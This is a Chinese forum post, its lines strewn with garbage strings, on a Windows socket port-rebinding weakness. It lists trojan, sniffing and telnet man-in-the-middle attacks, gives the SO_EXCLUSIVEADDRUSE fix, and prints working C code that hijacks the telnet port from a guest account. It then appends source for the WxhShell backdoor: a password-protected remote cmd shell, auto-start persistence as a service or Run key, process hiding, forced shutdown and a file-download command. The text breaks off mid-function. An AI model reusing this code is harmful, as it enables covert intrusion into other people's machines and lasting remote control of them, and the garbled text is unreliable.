在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
'Cc~|gOgD s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
]/=R ABi S0^a)#D & saddr.sin_family = AF_INET;
7S a9 C
t,p saddr.sin_addr.s_addr = htonl(INADDR_ANY);
^^N|:80 Njc@5*rJ& bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
VHD+NY/ RpivO, 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
lx:$EJ 6'Q{xJe? 这意味着什么?意味着可以进行如下的攻击:
<L-F3Buu x6UXd~
L
e 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
SOOVUMj z\]Z/Bz:6 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
NU=ru/ HOP*QX8C% 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
g<j) #f2Ot<#- 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
.4+Rac JsJP%'^/R 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
MGR:IOTa }=-0DSLVj 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
'=_(fa, FiUQ2w4 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
~[ufL25K ` 2W^Ui,4 #include
M =^d #include
E_ns4k#uG #include
S<0 &V #include
eY<<Hld DWORD WINAPI ClientThread(LPVOID lpParam);
o$No@~%v int main()
iOk;o= {
8o~
NJ 6 WORD wVersionRequested;
l_h:S`z. DWORD ret;
:ppaq WSADATA wsaData;
I&1Lm)W& BOOL val;
lfgJQzi
G SOCKADDR_IN saddr;
lz,M$HG<[ SOCKADDR_IN scaddr;
xi5"?*&Sb int err;
<V&0GAZ SOCKET s;
+{:uPY#1 SOCKET sc;
U^dfNi@q int caddsize;
XY"b 90 HANDLE mt;
d0(zB5'} DWORD tid;
E4X6f wVersionRequested = MAKEWORD( 2, 2 );
LikcW# err = WSAStartup( wVersionRequested, &wsaData );
@2>UR9j if ( err != 0 ) {
k =! Q printf("error!WSAStartup failed!\n");
{MgRi7 return -1;
b84l`J }
2%%\jlT_ saddr.sin_family = AF_INET;
=]7o+L4 [dJ!JT/X{ //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
rwP#Yj[BK+ I"Zp^j saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
K<>kT4 saddr.sin_port = htons(23);
WNyW1?" if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
[}L~zn6>?a {
&QHJ%c printf("error!socket failed!\n");
| b'Ut)E return -1;
nR_Zrm }
:G _ val = TRUE;
W==~9 //SO_REUSEADDR选项就是可以实现端口重绑定的
2R/|/>T v if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
F1Z'tjj+ {
MmT/J1zM printf("error!setsockopt failed!\n");
(]]hSkE return -1;
FZi@h }
Sm'Tz&! //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
h( | T. //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
Z
[!"x&H]h //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
-#Z df| ^DYS~I%s if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
w!f2~j~ {
&;@L]
o ret=GetLastError();
2k.VTGak printf("error!bind failed!\n");
X*2W4udF return -1;
cH5i420;aO }
f[o~d`z listen(s,2);
JEto_&8,C while(1)
N~)-\T:ap {
`zQuhD 8W caddsize = sizeof(scaddr);
:&BPKqKp //接受连接请求
Q}AZkZ sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
q`<vY'&1 if(sc!=INVALID_SOCKET)
<[dcIw<7 {
& zDuh[j} mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
U6.aoqb% if(mt==NULL)
&4?&tGi {
z!}E2j_9P printf("Thread Creat Failed!\n");
6
U.Jaai: break;
a4*v'Xc5 }
tguB@,O }
*'Yy@T8M CloseHandle(mt);
n>'(d*[e& }
S=qh7ML closesocket(s);
KFrsXf WSACleanup();
F-m%d@P&X return 0;
!rnjmc }
F6\{gQ<E DWORD WINAPI ClientThread(LPVOID lpParam)
d( v"{N} {
Q|_F
P: SOCKET ss = (SOCKET)lpParam;
~]KdsT(=_ SOCKET sc;
k|;a"56F unsigned char buf[4096];
JxVGzb`8 SOCKADDR_IN saddr;
qb"S long num;
@)Vpj\jM-C DWORD val;
D$ds[if$U, DWORD ret;
7H Har'=T //如果是隐藏端口应用的话,可以在此处加一些判断
o}AXp@cqi //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
qDdO-fPev saddr.sin_family = AF_INET;
F-,gj{s saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
khy'Y&\F; saddr.sin_port = htons(23);
63fYX" if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
)@wC6Ij {
e;.,x 5+ printf("error!socket failed!\n");
{5 dVK return -1;
't<iB&wgF }
j)J |'b| val = 100;
~5HkDtI) if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
-@N-i$!;J {
E+L7[ ret = GetLastError();
@\by`3*Q return -1;
2
}xePX9? }
qk& F>6<9* if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
{hS!IOM {
+<bj}" ret = GetLastError();
N3G9o`k return -1;
ASXGM0t }
LHY7_"u# if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
Q>1BOH1by {
Z=Y29V8 printf("error!socket connect failed!\n");
<nk|Z'G E closesocket(sc);
p$Tk;;wm closesocket(ss);
j97+'AKX return -1;
^|/mn!7wD }
?mH=3
:~ while(1)
Y:\msq1xp {
zhJeTctRz //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
PD&e6;rj; //如果是嗅探内容的话,可以再此处进行内容分析和记录
o#m31*o //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
)LP'4* num = recv(ss,buf,4096,0);
j7!u;K^c if(num>0)
MdBmq/[O send(sc,buf,num,0);
VzG|Xtco[ else if(num==0)
//8W"> u break;
mE~WE+lw9 num = recv(sc,buf,4096,0);
MIJuJ]U} if(num>0)
$0Y`>3 send(ss,buf,num,0);
vobC/m else if(num==0)
%FjUtB break;
*BKD5EwS }
`EKf1U\FI closesocket(ss);
+`>7cy%cZ closesocket(sc);
m>uG{4<- return 0 ;
~ 5}t; }
W|<c[S Bl\:YYd vQ<
~-E ==========================================================
-ssb|r 'n|U
下边附上一个代码,,WXhSHELL
6J;!p/C8E D`XXR}8V ==========================================================
\Z5Wp5az}, wUvE #include "stdafx.h"
? 2}%Rb39 S?v/diK ]J #include <stdio.h>
H;`F}qQ3 #include <string.h>
l,|Llb #include <windows.h>
CPZ{ #include <winsock2.h>
Z
`F[0- #include <winsvc.h>
Fo3*PcUv #include <urlmon.h>
,i_+Z
|Ls ;f%@s1u #pragma comment (lib, "Ws2_32.lib")
=1[_#Moc6 #pragma comment (lib, "urlmon.lib")
Zfs-M) 8~U
^G[! #define MAX_USER 100 // 最大客户端连接数
?0~g1"Y-*K #define BUF_SOCK 200 // sock buffer
e;6:U85LS #define KEY_BUFF 255 // 输入 buffer
`}Y)l:G*g AE~zmtW #define REBOOT 0 // 重启
XL*M#Jx #define SHUTDOWN 1 // 关机
}8#olZ/(q *(x.egORd #define DEF_PORT 5000 // 监听端口
!gI0"p? o@A`AA9 #define REG_LEN 16 // 注册表键长度
M7BpOmK' #define SVC_LEN 80 // NT服务名长度
c|<F8n hNc8uV{r= // 从dll定义API
CVO_F=; typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
nf
pO typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
,!>
~izB typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
4Uny.C] typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
;Am3eJa*- 7~2_'YX>: // wxhshell配置信息
th{J;a struct WSCFG {
S$b)X"h int ws_port; // 监听端口
8*-)[+s9il char ws_passstr[REG_LEN]; // 口令
,Ee5}#dI int ws_autoins; // 安装标记, 1=yes 0=no
hP:>!KJ char ws_regname[REG_LEN]; // 注册表键名
u-~ec{oBu char ws_svcname[REG_LEN]; // 服务名
DVd8Ix <
char ws_svcdisp[SVC_LEN]; // 服务显示名
";.j[p:gi char ws_svcdesc[SVC_LEN]; // 服务描述信息
6vNW)1{nn char ws_passmsg[SVC_LEN]; // 密码输入提示信息
(H:c80/V int ws_downexe; // 下载执行标记, 1=yes 0=no
8i;1JA char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
&l cfX\y char ws_filenam[SVC_LEN]; // 下载后保存的文件名
vapC5,W"2- 5 =;cN9M@ };
|ts0j/A]Pi qX}3}TL // default Wxhshell configuration
bB4FjC': struct WSCFG wscfg={DEF_PORT,
2>jk@~Z1:u "xuhuanlingzhe",
+xuv+mo 1,
:[@rA;L "Wxhshell",
KaEaJ "Wxhshell",
kO)Y|zQ "WxhShell Service",
0=,Nz "Wrsky Windows CmdShell Service",
X!h>13fW "Please Input Your Password: ",
|2'WSAWG 1,
.7.1JT#@A7 "
http://www.wrsky.com/wxhshell.exe",
J>R$K "Wxhshell.exe"
&/m^}x/_W };
!=S?*E +j) 'n h^; // 消息定义模块
`NhG|g char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
tHzgZoBz char *msg_ws_prompt="\n\r? for help\n\r#>";
0$Tb5+H5 char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
QP~["%}T char *msg_ws_ext="\n\rExit.";
:G6CWE char *msg_ws_end="\n\rQuit.";
Fepsa;\sU char *msg_ws_boot="\n\rReboot...";
W9l](Ow char *msg_ws_poff="\n\rShutdown...";
n\;;T1rM char *msg_ws_down="\n\rSave to ";
pYcs4f!?p #j7&2L char *msg_ws_err="\n\rErr!";
Q>L(=j2t char *msg_ws_ok="\n\rOK!";
[%^0L~: hV $Zr4' char ExeFile[MAX_PATH];
";dS~(~ int nUser = 0;
$j,$O>V HANDLE handles[MAX_USER];
r]6+&K int OsIsNt;
[+FiD bB0/FiY7o SERVICE_STATUS serviceStatus;
7a>+ma\ SERVICE_STATUS_HANDLE hServiceStatusHandle;
:PV3J0pB~ N!.o`4 "z // 函数声明
a6zWg7 PN int Install(void);
RQ0^
1
R int Uninstall(void);
A*BN
int DownloadFile(char *sURL, SOCKET wsh);
QcWg int Boot(int flag);
@@@}FV& void HideProc(void);
!{,2uQXe int GetOsVer(void);
7x.j:{2 int Wxhshell(SOCKET wsl);
yVVyWte, void TalkWithClient(void *cs);
Dlz0*eHD int CmdShell(SOCKET sock);
nYyKz
Rz int StartFromService(void);
H6Zo|n int StartWxhshell(LPSTR lpCmdLine);
O!>#q4&] xVsI#`<a VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
h% >ZN-K) VOID WINAPI NTServiceHandler( DWORD fdwControl );
XRV~yBIS ,fiV xn Q // 数据结构和表定义
qJ5b;= SERVICE_TABLE_ENTRY DispatchTable[] =
F&`%L#s| {
LV ]10v6 {wscfg.ws_svcname, NTServiceMain},
BZv:E?1z {NULL, NULL}
t[;-gi,, };
5OPvy,e6 G5|nt#> // 自我安装
#e =E int Install(void)
F,as>X# {
cGs&Kn;h char svExeFile[MAX_PATH];
PE;<0Cz\ HKEY key;
_x|R`1` strcpy(svExeFile,ExeFile);
>'#vC]@ LRw-I.z // 如果是win9x系统,修改注册表设为自启动
B4HMs$> if(!OsIsNt) {
TP| ogF? if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
d_ :f- RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
@r<2]RXlc RegCloseKey(key);
KtJc9dnX if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
jHob{3 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
CqWO 0 RegCloseKey(key);
`_.:O,^n^ return 0;
y%9Hu }
[c;0eFSi2 }
63'%+ }
cjtcEW else {
> {d9z9O ]2ab~
gr // 如果是NT以上系统,安装为系统服务
!r6Yq,3 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
[ Y{ if (schSCManager!=0)
SnX)&>B {
P_H2[d&/>D SC_HANDLE schService = CreateService
ltrti.& (
w_"-rGV schSCManager,
uzb|yV'B wscfg.ws_svcname,
} PL{i wscfg.ws_svcdisp,
%<8?$-[ SERVICE_ALL_ACCESS,
mYfHBW: SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
OW6dK#CFt SERVICE_AUTO_START,
~233{vh$=> SERVICE_ERROR_NORMAL,
S.>fB7'(?= svExeFile,
uMm`j?Y23q NULL,
)l(DtU!E NULL,
NZG
^B/ NULL,
|F\fdB}?S: NULL,
U:@tdH+A7 NULL
N2|NYDQs );
yXIJeo" if (schService!=0)
j"Ew)6j {
00SS<iX CloseServiceHandle(schService);
@K S .H CloseServiceHandle(schSCManager);
[j
TU nP strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
Wcm'E3c, strcat(svExeFile,wscfg.ws_svcname);
}!r
pH{y if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
~Hd* Xl RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
C2b<is=H: RegCloseKey(key);
a".iVf6y return 0;
zRgGSxn }
sEKF }
:_F 8O CloseServiceHandle(schSCManager);
t@ri`?0w }
F_ -Xx" }
,dosF Q xY.?OHgG/ return 1;
=b"{*Heuw }
J0f!+]~G3 =eS?`| // 自我卸载
f6\4,() int Uninstall(void)
Ps(oxj7 {
o*E32#l HKEY key;
x
<aR|r _V8;dv8 if(!OsIsNt) {
5zZQt+Ip if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
"1>w\21 RegDeleteValue(key,wscfg.ws_regname);
'n"we#
[ RegCloseKey(key);
=j20A6gND if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
{~#PM>f RegDeleteValue(key,wscfg.ws_regname);
u^Ktz
DmL RegCloseKey(key);
+~:OUR*> return 0;
CRiqY_gBf }
e\-,e+ }
K:VZ#U(_ }
B>S>t5$ else {
CQmozh- u|\?6fz SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
\J#&]o)Y if (schSCManager!=0)
JJs*2y {
uvR l`"Y SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
*c%{b3T_ if (schService!=0)
>[nR$8_J-l {
g-ZXj4Ph! if(DeleteService(schService)!=0) {
lu+KfKa CloseServiceHandle(schService);
RU/SJ1wM" CloseServiceHandle(schSCManager);
I#]pk! return 0;
6f
t6;*, }
;bHS^ CloseServiceHandle(schService);
QX&Y6CC`] }
@KHY8y7 CloseServiceHandle(schSCManager);
f<oU"WM }
O0_RW`69 }
rR/{Yx4 '-X O;{,-R return 1;
C CLc,r>) }
UUvCi+W UKTfLh // 从指定url下载文件
%2B1E( r%M int DownloadFile(char *sURL, SOCKET wsh)
/2*BdE[yG {
|TQ4:P1T HRESULT hr;
=\MAz[IDj char seps[]= "/";
mQSn*;9\T3 char *token;
)%kiM<}) char *file;
'mm>E char myURL[MAX_PATH];
CY*GCkH char myFILE[MAX_PATH];
_7qa~7?f RE D@|[Qh strcpy(myURL,sURL);
H4T~Kv token=strtok(myURL,seps);
#W.vX=/* while(token!=NULL)
j/NX {
p&4n"hC file=token;
<5#2^ ( token=strtok(NULL,seps);
nz#eJ }
T-+ uQ3 'n\P S,[1R GetCurrentDirectory(MAX_PATH,myFILE);
Hr7pcz/#l strcat(myFILE, "\\");
mb%U~Na strcat(myFILE, file);
=:6B`,~C send(wsh,myFILE,strlen(myFILE),0);
QoxQ"r9Wh send(wsh,"...",3,0);
MR5[|kHJT hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
'{.8tT?tJ if(hr==S_OK)
M^hz<<:$ return 0;
^^n (s_g else
m],.w M8 return 1;
Bu?Qyz2O E'6/@xM }
8A::q ; jaavh6h) // 系统电源模块
\!w | int Boot(int flag)
zuFPG{^\# {
=FiO{Aw`N HANDLE hToken;
^j10
f$B TOKEN_PRIVILEGES tkp;
PY3bn).uR jffNA^e if(OsIsNt) {
0jPUDkH* OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
cW"DDm
g LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
jP2#w{xq tkp.PrivilegeCount = 1;
|b^UPrz)VS tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
!h<O c!9 AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
}s6Veosl if(flag==REBOOT) {
B(} 'yY@%u if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
vM$hCV~N return 0;
>,_0Mem2Rr }
8$Zwk7 w8A else {
pp7
$Q>6 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
[gZR}E return 0;
|B'4wF> }
3)2{c }
%3"U|Za+ else {
;mGPX~38 if(flag==REBOOT) {
cq3Z}Cp if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
lkR^2P return 0;
Of$R+n. }
V\]j^$ else {
BpX` 49 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
Xh3b=i|K return 0;
z}7}D ! }
CPeu="[ }
NpKyrXDJv dD~H ft return 1;
f5{|_]q] }
<r>Sj/w<D WiQVZ{ // win9x进程隐藏模块
o1*P|.`
void HideProc(void)
Aho*E9VW {
\DBEs02 fOdqr HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
}QQ 7jE if ( hKernel != NULL )
,`k6@4 {
/(u? k%Q pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
VZ">vIRyi| ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
X%N!gy FreeLibrary(hKernel);
PBFpV8P, }
s1#A0%gx PX2b(fR8_O return;
iWFtb)3B }
>ke.ZZV? 7sWe32 // 获取操作系统版本
|-S+ x]9 int GetOsVer(void)
'O.f}m SS {
&
BY\h: OSVERSIONINFO winfo;
%4V$')rek winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
"9" GetVersionEx(&winfo);
%B1)m A; if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
"M\rO!f: return 1;
\7#w@3* else
^e;9_( return 0;
V8&'dhuG }
Qb55q`'z ~{-Ka>A // 客户端句柄模块
])%UZM6 int Wxhshell(SOCKET wsl)
wPu.hVz {
v ;Q*0%~ SOCKET wsh;
;(;~yB|NZ5 struct sockaddr_in client;
TA:uB[Ji DWORD myID;
+{m+aHk A=Hv}lv while(nUser<MAX_USER)
zxH<~2 {
0 z]H= int nSize=sizeof(client);
YktZXc?iI< wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
x >tm[k if(wsh==INVALID_SOCKET) return 1;
jt: *Y ;T8(byH ? handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
S#He OPRL if(handles[nUser]==0)
@'GPZpbvZ closesocket(wsh);
F?6Q(mRl else
(NDC9Lls nUser++;
fkImX:|q }
hx8pg,X WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
Tp.]{* .3V L return 0;
|:4?K*w", }
BS,EW $<C",& // 关闭 socket
iQT0%WaHl void CloseIt(SOCKET wsh)
}~ N\A {
Ea'jAIFPpO closesocket(wsh);
\/gf_R_GN nUser--;
bb\XZ~)F ExitThread(0);
3 |LRb/| }
8 4reyA .3XiL=^~Qp // 客户端请求句柄
rnp; R void TalkWithClient(void *cs)
/0Qo( {
*O @Zn !b4AeiL>w SOCKET wsh=(SOCKET)cs;
8;c\}D char pwd[SVC_LEN];
Qp)?wny4 char cmd[KEY_BUFF];
|`Yn'Mj8rm char chr[1];
-"a(<JC^NI int i,j;
7+@-mJMP$D &2[Xu4* while (nUser < MAX_USER) {
u^c/1H:6 9HiyN>( if(wscfg.ws_passstr) {
;lrO?sm if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
CR2.kuM0~ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
G %\/[
B //ZeroMemory(pwd,KEY_BUFF);
&DHIYj1 i i=0;
P2iuB|B@ while(i<SVC_LEN) {
P$N5j~* @qjN>PH~ // 设置超时
bi+g=cS fd_set FdRead;
"rEfhzmyF struct timeval TimeOut;
jq8TfJ| FD_ZERO(&FdRead);
8fBhX,1 FD_SET(wsh,&FdRead);
#f_'&m TimeOut.tv_sec=8;
h6<i,1gQ1 TimeOut.tv_usec=0;
^`aw5 +S int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
f}4A,%:1 if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
=2DK?]K; '+j;g if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
tlg}"lY pwd
=chr[0]; u2$.EM/iae
if(chr[0]==0xd || chr[0]==0xa) { uTPAf^|
pwd=0; :pz@'J
break; nnE'zk<"
} V=5*)i/
i++; f\q5{#"z
} ,L~aa?Nb-
8y_(Iu|:
// 如果是非法用户,关闭 socket c9Cc%EK
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); xx7&y!_
} =5fY3%^b{
YO?o$Hv16
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 02%~HBS
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); iycceZ
OT=1doDp
while(1) { ?MmQ'1N
Q)M-f;O
ZeroMemory(cmd,KEY_BUFF); q@XJ,e1A
w'$>E4\
// 自动支持客户端 telnet标准 +ug/%Iay{k
j=0; Ygkf}n
while(j<KEY_BUFF) { _y>drvg
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); $F X$nY
cmd[j]=chr[0]; gGBRfq>
if(chr[0]==0xa || chr[0]==0xd) { aK|
cmd[j]=0; 5!$sQ@#}D
break; +opym!\
} hJSWh5]
j++; YDYNAOThnb
} HrFbUK@@
vfx{:3fO
// 下载文件 |wQ3+WN|
if(strstr(cmd,"http://")) { sKR%YK
"A
send(wsh,msg_ws_down,strlen(msg_ws_down),0); F s=x+8'M
if(DownloadFile(cmd,wsh)) 0.nkh6?
send(wsh,msg_ws_err,strlen(msg_ws_err),0); !Y7$cU &
else y!R9)=/M
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); qxHn+O!h
} m?Cb^WgcF
else { Oj_F1.
r
DrAIQ7Jd
switch(cmd[0]) { pr4y*!|Y$
-a~n_Z>_
// 帮助 ,D(Bg9C
case '?': { ePv`R'#
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0);
(V'w5&f(L
break; fZsw+PSy
} vSoG] :1
// 安装 N=T}
case 'i': { )8}k.t>'s
if(Install()) T3"'`Sd9;
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z,O-P9jC
else wTZ(vX*mK
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); %Ny1H/@Q1+
break; H_x}-
} V:P]Ved
// 卸载 |S@
case 'r': { A:z
if(Uninstall()) }|[0FP]v
send(wsh,msg_ws_err,strlen(msg_ws_err),0); hy%5LV<(
else Vjo[rUW
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :7obxW1X
break; =ONM#DxH
} QXL .4r%
// 显示 wxhshell 所在路径 gN[t
case 'p': { J]S30&?
char svExeFile[MAX_PATH]; S*J\YcqSC
strcpy(svExeFile,"\n\r"); ;/?w-)n?
strcat(svExeFile,ExeFile); #<sK3 PT
send(wsh,svExeFile,strlen(svExeFile),0); M}CxCEdDB]
break; 6w
m-uu
} D/4]r@M2c
// 重启 I!1+#0SG
case 'b': { iTO Y
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 5P\A++22Y
if(Boot(REBOOT)) FU .%td=:
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,2^A<IwR
else { 6o9&FU
closesocket(wsh); R ;A8y
ExitThread(0); ?P>4H0@I+
} u#^l9/tl
break; k2,`W2]^E
} ,mi7WW9
// 关机 Mk973'K'
case 'd': { 9h)8Mq+M
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); :~srl)|)
if(Boot(SHUTDOWN)) 3ZyvX]@_
send(wsh,msg_ws_err,strlen(msg_ws_err),0); g`C8ouy
else { W_ Hoa*~
closesocket(wsh); .;ofRx<
ExitThread(0); jJt4{c
} (RG "2I3
break; 1MnC5[Q
} wxPl[)E
// 获取shell d&Nji%Ej
case 's': { i^A=nsD`
CmdShell(wsh); P7bb2"_9
closesocket(wsh); W$;qhB
ExitThread(0); |r)QkxdU,
break; V,'_BUl+x
} _j0xL{&&
// 退出 rbIYLVA+V
case 'x': { T:2f*!r
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 3k(tv U+eC
CloseIt(wsh); ?K2}<H-
break; cTRtMk%^
} QUvSeNSp
// 离开 %N(>B_t\
case 'q': { #9.%>1{6Y
send(wsh,msg_ws_end,strlen(msg_ws_end),0); t?Qbi)T=z
closesocket(wsh); uW FyI"
WSACleanup(); Hy,""Py
exit(1); h7TkMt[l
break; +Ig%h[1a
} ZUS5z+o
} Fo;:GX,b
} ,RY;dX-#
c|aX4 =Z
// 提示信息 W(4$.uZ)
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Zby3.=.e
} CQa8I2VF
(
} cjO%X
LYd:S
return; oqhJ2
} xJU]py~o
*_#2|96)
// shell模块句柄 S&XlMu
int CmdShell(SOCKET sock) 6\I1J=
C
{ 6J}Yr5oD
STARTUPINFO si; 6vps`k$,~
ZeroMemory(&si,sizeof(si)); nHq4f&(H
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; mXS]SE
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; XK@&$~iA3
PROCESS_INFORMATION ProcessInfo; YX)Rs
Vf
char cmdline[]="cmd"; r@vt.t0#
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); XOI"BLd
return 0; )rAJ>;
} .j^BWr
T{m) = (q
// 自身启动模式 %eIaH!x:
int StartFromService(void) `zw %
{ CnZEBAU
typedef struct 3"v>y]$U
{ ']I!1>v$[
DWORD ExitStatus; o~\.jQQxa
DWORD PebBaseAddress; _-543B}
DWORD AffinityMask; p[].4_B;
DWORD BasePriority; Tbv w?3
